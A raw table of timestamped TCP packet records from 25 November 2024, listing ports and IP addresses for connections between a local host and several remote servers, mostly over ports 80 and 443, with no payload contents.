Nov 25, 2024 12:08:54.746368885 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.746471882 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.746535063 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.747211933 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.747283936 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.747328997 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.747401953 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.748122931 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.748176098 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.748246908 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.748303890 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.748986959 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.749051094 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.749090910 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.749140024 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.749846935 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.749917030 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.749954939 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.750036955 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.750701904 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.750782967 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.750821114 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.750878096 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.751569033 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.751632929 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.751707077 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.751754999 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.752624035 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.752693892 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.752707958 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.752751112 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.753345013 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.753467083 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.753515005 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.753515005 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.754174948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.754296064 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.754331112 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.754417896 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.755105019 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.755181074 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.755213022 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.755275011 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.755965948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.756043911 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.756171942 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.756242990 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.756927013 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.757009029 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.757013083 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.757165909 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.757858038 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.757925987 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.757962942 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.757962942 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.758572102 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.758622885 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.758647919 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.758667946 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.759396076 CET	49813	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:54.759434938 CET	443	49813	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:54.759444952 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.759541988 CET	49813	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:54.759579897 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.759582996 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.759627104 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.759876013 CET	49790	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:54.759896040 CET	443	49790	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:54.760293961 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.760322094 CET	49813	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:54.760339022 CET	443	49813	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:54.760344028 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.760360003 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.760399103 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.761192083 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.761255980 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.761287928 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.761343002 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.762038946 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.762157917 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.762172937 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.762224913 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.762897968 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.762938976 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.762962103 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.763016939 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.763798952 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.763866901 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.763905048 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.764014006 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.764661074 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.764765978 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.764766932 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.764827013 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.765780926 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.765921116 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.765942097 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.766052961 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.766619921 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.766729116 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.766798973 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.767256021 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.767338991 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.767360926 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.767467976 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.768137932 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.768234015 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.768273115 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.768326998 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.769026995 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.769083023 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.769145966 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.769318104 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.769872904 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:54.769951105 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:54.771429062 CET	49788	443	192.168.2.8	204.79.197.237
Nov 25, 2024 12:08:54.774883032 CET	49795	443	192.168.2.8	18.173.219.111
Nov 25, 2024 12:08:54.774908066 CET	443	49795	18.173.219.111	192.168.2.8
Nov 25, 2024 12:08:54.789653063 CET	49814	443	192.168.2.8	18.173.219.111
Nov 25, 2024 12:08:54.789686918 CET	443	49814	18.173.219.111	192.168.2.8
Nov 25, 2024 12:08:54.789757967 CET	49814	443	192.168.2.8	18.173.219.111
Nov 25, 2024 12:08:54.790532112 CET	49814	443	192.168.2.8	18.173.219.111
Nov 25, 2024 12:08:54.790543079 CET	443	49814	18.173.219.111	192.168.2.8
Nov 25, 2024 12:08:54.819327116 CET	443	49788	204.79.197.237	192.168.2.8
Nov 25, 2024 12:08:55.044904947 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.045468092 CET	49815	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.045509100 CET	443	49815	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.045728922 CET	49815	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.048656940 CET	49816	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.048691034 CET	443	49816	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.048751116 CET	49816	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.048897982 CET	49817	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.048938036 CET	443	49817	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.048985958 CET	49817	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.049184084 CET	49818	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.049192905 CET	443	49818	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.049376011 CET	49815	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.049387932 CET	443	49815	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.049393892 CET	49818	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.049689054 CET	49819	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.049700975 CET	443	49819	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.049745083 CET	49819	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.049906015 CET	49816	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.049916983 CET	443	49816	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.050031900 CET	49817	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.050045967 CET	443	49817	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.050168991 CET	49818	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.050179005 CET	443	49818	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.050267935 CET	49819	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.050278902 CET	443	49819	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.091329098 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.223113060 CET	443	49788	204.79.197.237	192.168.2.8
Nov 25, 2024 12:08:55.223401070 CET	443	49788	204.79.197.237	192.168.2.8
Nov 25, 2024 12:08:55.223465919 CET	49788	443	192.168.2.8	204.79.197.237
Nov 25, 2024 12:08:55.224724054 CET	49788	443	192.168.2.8	204.79.197.237
Nov 25, 2024 12:08:55.224749088 CET	443	49788	204.79.197.237	192.168.2.8
Nov 25, 2024 12:08:55.225786924 CET	49820	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:55.225822926 CET	443	49820	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:55.225914001 CET	49820	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:55.226102114 CET	49820	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:55.226114988 CET	443	49820	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:55.403322935 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.403351068 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.403358936 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.403392076 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.403407097 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.403409004 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.403428078 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.403445005 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.403445959 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.403459072 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.403476000 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.578130007 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:55.578289032 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:55.613209963 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.613219976 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.613245964 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.613286972 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.613300085 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.613313913 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.613344908 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.619841099 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.619899988 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.665129900 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.665152073 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.665204048 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.665215969 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.665231943 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.665287971 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.697638988 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:55.697705984 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:55.802212954 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.802244902 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.802289009 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.802304029 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.802320004 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.802335978 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.802359104 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.802606106 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:55.802634954 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:55.830441952 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:55.830507040 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:55.854043961 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:55.854127884 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.173187971 CET	49821	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:56.173204899 CET	443	49821	23.44.201.5	192.168.2.8
Nov 25, 2024 12:08:56.173300028 CET	49821	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:56.173568010 CET	49821	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:56.173583984 CET	443	49821	23.44.201.5	192.168.2.8
Nov 25, 2024 12:08:56.173928022 CET	49822	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:56.173953056 CET	443	49822	23.44.201.5	192.168.2.8
Nov 25, 2024 12:08:56.174001932 CET	49822	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:56.174160004 CET	49822	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:56.174174070 CET	443	49822	23.44.201.5	192.168.2.8
Nov 25, 2024 12:08:56.181092978 CET	49823	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:56.181098938 CET	443	49823	204.79.197.219	192.168.2.8
Nov 25, 2024 12:08:56.181171894 CET	49823	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:56.181452990 CET	49823	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:56.181463957 CET	443	49823	204.79.197.219	192.168.2.8
Nov 25, 2024 12:08:56.181759119 CET	49824	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:56.181799889 CET	443	49824	204.79.197.219	192.168.2.8
Nov 25, 2024 12:08:56.181893110 CET	49824	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:56.182069063 CET	49824	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:56.182080984 CET	443	49824	204.79.197.219	192.168.2.8
Nov 25, 2024 12:08:56.201850891 CET	443	49814	18.173.219.111	192.168.2.8
Nov 25, 2024 12:08:56.202248096 CET	49814	443	192.168.2.8	18.173.219.111
Nov 25, 2024 12:08:56.202265978 CET	443	49814	18.173.219.111	192.168.2.8
Nov 25, 2024 12:08:56.202697039 CET	443	49814	18.173.219.111	192.168.2.8
Nov 25, 2024 12:08:56.202994108 CET	49814	443	192.168.2.8	18.173.219.111
Nov 25, 2024 12:08:56.203063965 CET	443	49814	18.173.219.111	192.168.2.8
Nov 25, 2024 12:08:56.203114986 CET	49814	443	192.168.2.8	18.173.219.111
Nov 25, 2024 12:08:56.222978115 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.222990990 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.223050117 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.223066092 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.240401030 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.240509987 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.240519047 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.247324944 CET	443	49814	18.173.219.111	192.168.2.8
Nov 25, 2024 12:08:56.248244047 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.248296022 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.248303890 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.248344898 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.263066053 CET	443	49816	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.263268948 CET	49816	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.263283014 CET	443	49816	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.263639927 CET	443	49816	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.263926029 CET	49816	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.263998032 CET	443	49816	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.264097929 CET	49816	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.268410921 CET	443	49815	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.268903971 CET	49815	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.268917084 CET	443	49815	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.270073891 CET	443	49815	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.270458937 CET	49815	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.270620108 CET	49815	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.270625114 CET	443	49815	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.270641088 CET	443	49815	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.284751892 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.284779072 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.284840107 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.284852028 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.284981966 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.309758902 CET	443	49819	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.309880972 CET	443	49817	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.309954882 CET	49819	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.309967041 CET	443	49819	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.310044050 CET	49817	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.310050964 CET	443	49817	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.311331034 CET	443	49816	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.311454058 CET	443	49819	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.311511993 CET	49819	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.311532021 CET	443	49817	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.311582088 CET	49817	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.311995029 CET	49817	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.312073946 CET	443	49817	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.312278032 CET	49819	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.312362909 CET	443	49819	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.312438011 CET	49817	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.312443972 CET	443	49817	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.312536955 CET	49819	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.312542915 CET	443	49819	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.314845085 CET	49815	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.316186905 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.316195965 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.316265106 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.316272974 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.333034039 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.333079100 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.333085060 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.333127022 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.354402065 CET	443	49818	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.354722023 CET	49818	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.354731083 CET	443	49818	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.355801105 CET	443	49818	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.355859041 CET	49818	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.356188059 CET	49818	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.356255054 CET	443	49818	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.356386900 CET	49818	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.356395006 CET	443	49818	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.360810995 CET	49819	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.360876083 CET	49817	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.368139029 CET	443	49812	20.189.173.24	192.168.2.8
Nov 25, 2024 12:08:56.368311882 CET	49812	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:08:56.368324041 CET	443	49812	20.189.173.24	192.168.2.8
Nov 25, 2024 12:08:56.370069981 CET	443	49812	20.189.173.24	192.168.2.8
Nov 25, 2024 12:08:56.370140076 CET	49812	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:08:56.371094942 CET	49812	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:08:56.371181965 CET	443	49812	20.189.173.24	192.168.2.8
Nov 25, 2024 12:08:56.371253967 CET	49812	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:08:56.371287107 CET	49812	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:08:56.371355057 CET	443	49812	20.189.173.24	192.168.2.8
Nov 25, 2024 12:08:56.372016907 CET	443	49813	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:56.372210979 CET	49813	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:56.372219086 CET	443	49813	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:56.373492956 CET	443	49813	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:56.373558998 CET	49813	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:56.375334024 CET	49813	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:56.375334024 CET	49813	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:56.375344038 CET	443	49813	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:56.375391006 CET	443	49813	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:56.407497883 CET	49818	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.413152933 CET	49812	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:08:56.413161039 CET	443	49812	20.189.173.24	192.168.2.8
Nov 25, 2024 12:08:56.417952061 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.418015003 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.422924995 CET	49813	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:56.422939062 CET	443	49813	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:56.425582886 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.425642967 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.440634966 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.440701008 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.455858946 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.455920935 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.463756084 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.463819027 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.473843098 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.473900080 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.479139090 CET	49812	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:08:56.479141951 CET	49813	443	192.168.2.8	20.75.60.91
